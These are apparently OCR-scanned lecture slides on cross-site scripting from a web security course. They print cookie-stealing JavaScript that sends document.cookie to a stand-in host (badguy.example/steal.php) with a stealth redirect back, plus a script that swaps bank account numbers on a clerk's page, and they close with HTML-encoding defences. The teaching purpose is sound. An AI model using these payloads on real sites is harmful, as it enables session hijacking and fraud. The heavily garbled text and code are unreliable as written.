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Read the |nstructions and PerForm the tasks.
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VWEB APPLICATION SECURITY
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> OuTtPUT HANDLING



HAT 1S OUTPUT HANDLING?

DT R

Handling the output from a web aPP]ication IS cxactlg the same as Passing data to

subsgstems:
» T he final subsgs’cem we pass data to is the visitor's browser, and the |17 M|

parser in the browser isjust another system.

Web APPIication
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Web Server

strings / ?

V\/hen we send data to it, we need to pay attention to metacharacters.



Mang Frogrammers who are goocl at escaping metacharacters that get Passec} to
internal systems, nevertheless to think about the final destination of the data

as a sgstem.

Ancl given a lack of proper HTML escaping,

an attacker has lots o1c cool attacks to choose

From.

“I’m no expert, but I think it’s




CROSS—SITE SCRIPTING



ROSS—SITE SCRIPTING (XSS)

R
XSS is about tricking a web server into Presenting ; tgpica”g
script code, to a user.

i. | he intention is often to , and thus be able to

contact the site on behalf of the victim.

i cripts may also be used to change the contents ot web pages in order to
2 pts may also b d to change th tents of web pag der t
disp]ags false information to the visitor, and it may be used to redirect forms so

that secret Clata are Posted to the attacker’s comPuter.

XO5 genera”g attacks the user of the web aPP]ication, not the application itself.

u The attacks are Possib]e when the web application lacks proper output
Filtering.



XAMPLE: A GUEST BOOK

R
Suppose we have a simple guest book, which lets visitors enter whatever theg like,

ancljust aPPenc}S the new text to w!ﬁatever was there b@core.

What haPPen with this inPut?

No critical issue, but the web application will pass this to visitors reading the guest
R P Z e g

book:

Cézl>web page, dude!
<|l—-

Yo i il ihia.
m
_—m__




How about this scriptz <script>

for (g = 0; g < 10000; g++)

</scripts>

Or this one in a discussion site for kids:

<img src="http://www.tasteless.example/hardcoresex.jpg"/>

We need some kind of control over what a web aPPlication passes to the client.



SESSION HiTACKING



SS-BASED SESSION HUACKING

Dt —ad

As cookies are available to a script, (_ross-site Scripting may be used to
(discussed in week 1).

]1C a bad guy gets access to someone else’s session cookie, he may often appear as

that someone to the server }:)9 insta”ing the cookie in his own browser.

A victim loggiﬂg in to a web site

HTTP Cookies
will geta unique session || cookie. Gy Services

WiFi AP

T he attacker wants that cookie to

impersonate the victim.

How does the attacker

, N/
get to the cooioe? @ . -
Attacker




HE MECHAMISM

1: attacker injects script on the

our steps are needed in the simplest Possihle =] its for a victim

X55~based session hgacking.

T he wanted cookie exists ors19 iIn communication

between the victim and the target web server.

N\, the victim

*F[i!][ r1;|n\“|}|‘1‘lj:|.l .
Fora script to successguny access this cookie, [ s e sovsion

% cookie to the attacker

it will have to be included in pages sent from
the web server directlg to the victim’s browser.

~ 2: server passes 4 Session co
and the attacker’s scri

ow attacker can do it?

Attacker should follow the above steps if the web server, for example hosts a
discussion aEPIication that is vulnerable to XOS because it allows scri]:)’cs in notes

enterecj 139 the users.



The attacker first joins a discussion,

entering a note that contains some cookie-

stea]ing JavaScriPt

T he web server stores the note in its internal
database.

| ater, another user, the victim, logs in to the

discussion site.

Upon logging in, he receives his Personal

session | from the web server.

| 3: script runs in the

1: attacker injects script on the
T its for a victim

N\, the victim

victim’s browser, and
passes the session

cookie to the attacker

4 2: server passes a session cookie
and the attacker’s script to a visitor

thn the user asks to read the attackers note, the web server builds a web page

containing the note text, including
the victim.

. T his page is then Passc& to



As part of displaging the web page, the

victim’s browser will also the script.

The script Picks up the cookie that is
associated with the web page, i.e. the cookie
containing the session |D, and immediatelg

Passes the cookie to the attacker’s comPuter.

After receiving the cookie, the attacker
installs it in his own browser, and visits the

discussion web server.

1: attacker injects script on the
3 lits for a victim

stolen cO®
the server think hd
the victim

| / 3: script runs in the

victim’s browser, and
passes the session
cookie to the attacker

— 2: server passes a session cookie
and the attacker’s script to a visitor

The web server receives the stolen session |[D from the attacker, and thinks it is

tandng to the victim.

e attacker now tu e victim on the discussion site.
T he attack fully the vict the d t



HE MALICIOUS SCRIPT

T he malicious scﬁpt makes the browser of the victim SEEE the cookie to the

computerownediyjﬂu:aﬁﬁcken

Fassing the cookie is most easily done using a script that redirects the browser to a
web server running on the attacker's computer, taking the cookie with it on the

journey.

<script>
document .location.replace)

</script>

"http://www.ba lesteal .php"
+ "?what=" document . cooki

is a JavaScriPt variable contains any cookies associated B el e ver
with the connection between the browser executing the
5criPt and the server Providing the web page.



TEALTH

Tdhe\ﬁcﬁn1mdﬂc%ﬁckkjreahzeitjaecause}xjﬂw(JFiLﬂan&iﬁm:contents
of the web page sudclenlg changel

- hTf)lﬂ&e the the?@ the attackers web server may generate a response

containing a new redirect that immediatelg sends the browser back to the

ongﬁmﬂsﬁe.

<script>
if (document.cookie.indexOf ("stolen") < 0) {
!document.cookie = "stolen=true";)
document. location.replace (
"http://www.badguy.example/steal.php"

+ "?what=" + document.cookie
"&whatnext=https://www.somesite.example/")

}

</script>




The steal.php page would respond with a new web page containing nothing more
than this little redirection code:

<scripts

document.location.replace ("https://www.somesite.example/")

</script>

The user may see a short ﬂicker) but he will otherwise not be able to tell that his
browser Paicl a quick visit to the attacker's web server.

How about the browser’s historg?
= Not even the browsers historg will be able to tell the tale, as

document.location.replace the current history entry with the

new URL



TEXT MODIFICATION



XAMPLE:

DT R

5cripts may be used to changc information on a page as itis Clisplaged.

It is Possi})le to steal money from an on-line bank, in which certain payment requests

requirecl manual inspection before being acceptecj.

I these spedil R

customers registered a source

and destination account, an Account Holder:
, Address:
amount, an address, and various

other information.

Account Holder:

Address:

Description:




XAMPLE: ONLINE-BANKING

DT R

Requcsts were stored in a database to wait for manual inspcctiorw. The inspection

was Pergormeé }39 a clerk in the bank using a regular web browser.

An internal  web aPP]ication fu”ed money

tranaccr requests From the atabase ancl

Web App

QM aaaaa I Inspection
Un{:ortunatelg, that a Plication failed to do
Filtering on the address Ee]ci making it Possible to \
include that would be run in the browser \

of the clerk as she inspected the page.

&isplaged them in the browser of the clerk.

Server

F;iyment Request } @
E = SA




An attacker would want to transfer money from a victim’s account (i 2%4.56.7890 i)

to an account o{: his OWn.

T o do that, he would enter the victim’s account
as the source, and one of his own as the

destination for the money transfer.

Norma”ﬂ, this transfer would be rejcctccl 139 the
clerk: the attacker is not allowed to move money
from the victim’s account.

Web App

S
E Manual ]nsPcction

Server

< %
Fayment Request
>

\/
A
==




PBut as the address field allowed ﬁjcctknwcﬁ:scﬁptsjthe attacker could add the
Fo”owing code, which refers to another account owned bg the attacker

(9876.54.%32109):

<script>

finction fool() {
document.body.innerHTML(EE%EEEE)/1234.56.78901/gi,
"9876.54.32109") ;

}

window.onload=foo0;
</script>

C)nce,the clerk viewed the information ﬁ?LKﬁ'beW%Cf,thC scﬁpt\NoukJrun and
mjﬂace all occurrences of the victim’s account in the web page with that of the

aﬂﬁcken



T he web page would show sceming]g Web App %
, while the database ;

still contained information that would

Bank of Digital Trades

Manual ]nsPection

let the attacker steal money.

l]C the clerk accepted the false
information in the modified web page,
the automated money transfer program

WOU]Cl

1Crom the clatabase.
Server

g i Pagment Request | ) @

-~

e




PROBLEM



HE PROBLEM

R

(_ross-site 5cripting works when a web aPPlication may be tricked into Passing
attacker—-designed HTML constructs to the users’ browsers.

» [ence, X595 isjust another metacharacter Problem.

The HTML parser in the web

browser interprets Pieccs of HTML
that the web application programmer

did not intend to scnd,just like an

SO parser  may interpret
additional SQL constructs when

given, for example, unexpectecl and

—
H—
—
—

nerable Webs

unescapecl quote characters. .




» | he most obvious (ross-site Scripting occurs when someone inserts a new tag,

tgpica”g a scriPt tag:

<script> ... </script>

This insertion works when the HT ML parser Is not alread9 “Inside” another
tag.



= ]n SOme cases, such as when data are inserted as Part of a tag attribute, the

parser Is not reaclg to accept a new tag direc‘clg.
m Imagime the Fo”owing part of a web page, in which some user Providecl input

will be inserted where the dots are:

<input type="text" name="address" value=" ...

In this case, to be able to insert a new tag, the attacker will first have to terminate

the input tag to have the HT ML parser



The Fo”owing line will terminate the value attribute and the input tag in which
the attribute is present, and then add somew—Probablg maliciousw—scriptz

As the original attribute value was encapsulatecl in double quotes, the attacker
inserts a double quote and a greater than sign to open up foranew script tag.

If the value was encapsu]ated N sing]e quotes, the attacker would start with a
single quote.

The attacker will have to ana]gze the HTML to determine in what kind of context
his insertion will be made, and insert necessary metacharacters to switch to a “script
griencﬂg” context.



SOLUTION



ow TO AVOID XSS?

DT R

ow do we make our a ications stand agains ross~site cripting attacks”
How d k pplicat tand against ( t pting attacks?

Since (ross-site Scripting is a metacharacter Problcm, we will have to do

something to the metacharacters to make them lose their meaning.

» \We have to escape them in some way, and when clealing with [T Ml , the
escaping is called FENAT encoding.



HEN?

R

When do we cscape those characters to prevent (_ross-site 5cripting?’

Mang Pcople choose to handle the X555 Problem at input time.

I ither because tlﬁeg see it as an input Problem,
Orbecause they like to get rid of Problems as soon as Possible,

Or because theg think it is hard to remember cloing any special treatment every
time theg generate some outputm—which tgpica”g happens quite Frequentlg In a
web aPPlication.



>> R

(_ross-site 5cripting IS clcarlg a data Passing Problem, so it should be dealt with at

= [Tor HTML that time is whenever our aPPlication generates some output.
T here are at least three goocl reasons for clelaging the 11T ML Filtering to output
time:
il notjust usergeneratecl input that must be HTML encoded.
When reading data from a File, from a database or any other external
source, HTML encocling should be done before Passing the content to
the client.
It is easier to remember doing the Filtering if the rule is “filter output when

output is to be done”.



25

When Filtering at input time, any incoming data that is stored in a database

will be 1T Ml encoded.
An9 non- 1T ML sElg of the aPPlication that uses the same database (e.g.

an Invoice Printing unit, to be overlg creative) will have to remove the

T VL encocling.

HTML encoding expancls data strings.

The expansion may give surprising results when iIncoming data are stored in

restricted leng‘ch database Fie]ds, which is common Practicc.



TRAL FULTERING

R

T here are genéra”g three oPtions clcpending on the data:

i. |fdataisnot suPPosecl to contain markup at all,
We 5iml:>]3 them before Passing them to the client.

2. IIC the user should be allowed to enter some markup but not the dangerous
constructs, it gets quite hard.
We will need to and let some through, while

5. |f the aPP]ication should have full trust in the users and allow them to enter
whatever markup theg like,

We simplgjust send the data : , but

keep the consequences in mind.



TRAL ENCODING

DT R

HT ML encoding is the maPPing of certain 1T M|l metacharacters to their

character entitg equivalcnts:

. MaP every occurrence of & (ampersancD to &amp;

2. T hen replace every " (double quote) with &quot;

5. | hen every < (less than) with &1t;
=i Ancl Fina”g replace every > (greater than) with &gt;

If the aPPlication uses single quotes to encapsulate tag attributes, you may need to rePlace

the single quote character with &#39; too.

T he implication of cloing wa NS encoding is that the browser will clisplag data

exact]g as theg were written.



SUMMARY



UMMARY

R

= | o avoid being vulnerable to (ross-site Scripting, a web site must be very

careful with what it sends to the users.

= Ang data that are to be Prescntecj to the client must be carexcung inspected and

filtered to remove angthing that may lead to execution of scripts.

= Safe Filtering of the output involves removing everything that can be

interpretecl as a script bg any browser out there.

u The onlg safe Fi]tering is to HTML encode (or tota”g remove, which is often
not an option) certain characters, and at the same time to state what character

set the encocling has been done for.



UMMARY

NS W~

DT R

- lﬂ cascs W!’TCY’C some markup SI"IOU]CI bC 8”OWCCL once SI"IOUlCl not Oﬂlg Pag

attention to tags, but also to attributes and attribute values.

m Everg Filtering should be done according to the whitelisting Principle, in which

allowed tags and attributes are let through, while all the unknown are removed.



OUR TASK'S FOR THIS WEEK

) Rien D

] ]nnoccnt Cocle: A Securitg Wake{/lp Ca” for Web Frogrammers (

) Qu

No’cc that Quizzcs are accessible every Thu:*sdag to Sunda Y only‘

on the course page on Eclmoc]o.






